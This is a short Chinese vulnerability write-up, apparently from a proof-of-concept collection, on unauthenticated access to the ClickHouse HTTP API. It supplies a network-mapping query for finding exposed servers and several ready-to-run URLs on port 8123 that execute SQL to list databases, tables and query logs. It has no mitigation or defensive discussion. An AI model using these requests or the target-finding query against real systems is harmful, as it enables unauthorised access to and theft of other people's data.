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45 lines
721 B
Markdown
45 lines
721 B
Markdown
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# ClickHouse API 数据库接口未授权访问漏洞
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## 漏洞描述
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ClickHouse API 数据库接口存在未授权访问漏洞，攻击者通过漏洞可以执行任意SQL命令获取数据库数据
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## 漏洞影响
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```
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ClickHouse
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```
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## 网络测绘
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```
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"ClickHouse" && body="ok"
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```
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## 漏洞复现
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登录页面
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执行SQL语句
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```
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http://your-ip:8123/?query=SELECT%20*%20FROM%20system.query_thread_log%20LIMIT%201%20FORMAT%20Vertical
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```
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其他的SQL语句：
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```
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http://your-ip:8123/?query=SHOW%20DATABASES
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```
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```
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http://your-ip:8123/?query=SELECT%20*%20FROM%20system.tables
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```
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